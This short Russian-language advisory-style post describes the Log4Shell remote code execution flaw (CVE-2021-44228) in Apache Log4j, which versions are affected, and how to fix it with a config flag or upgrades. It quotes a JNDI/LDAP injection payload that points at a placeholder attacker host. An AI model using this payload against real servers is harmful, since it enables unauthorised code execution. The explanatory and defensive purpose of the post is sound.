Недавно обнаруженная уязвимость нулевого дня в широко используемой библиотеке логирования Java Apache Log4j легко эксплуатируется и позволяет злоумышленникам получить полный контроль над уязвимыми серверами.
Уязвимость, CVE-2021-44228, классифицируется как серьезная и позволяет выполнять удаленный код без аутентификации, поскольку пользователь, запускающий приложение, использует библиотеку логирования Java. Уязвимость была впервые обнаружена в Minecraft.
Затронуты все системы и службы, использующие библиотеку логирования Java, Apache Log4j между версиями 2.0 и 2.14.1, включая многие службы и приложения, написанные на Java. Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Выглядит это так:
Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true"
или же обновить версии Log4j до log4j-2.15.0-rc1.
UPD:
Выявлен способ обхода защиты, добавленной выпуск log4j-2.15.0-rc1. Предложено новое обновление log4j-2.15.0-rc2 с более полной защитой от уязвимости. В коде выделяется изменение, связанное с отсутствием аварийного завершения в случае использования некорректно оформленного JNDI URL.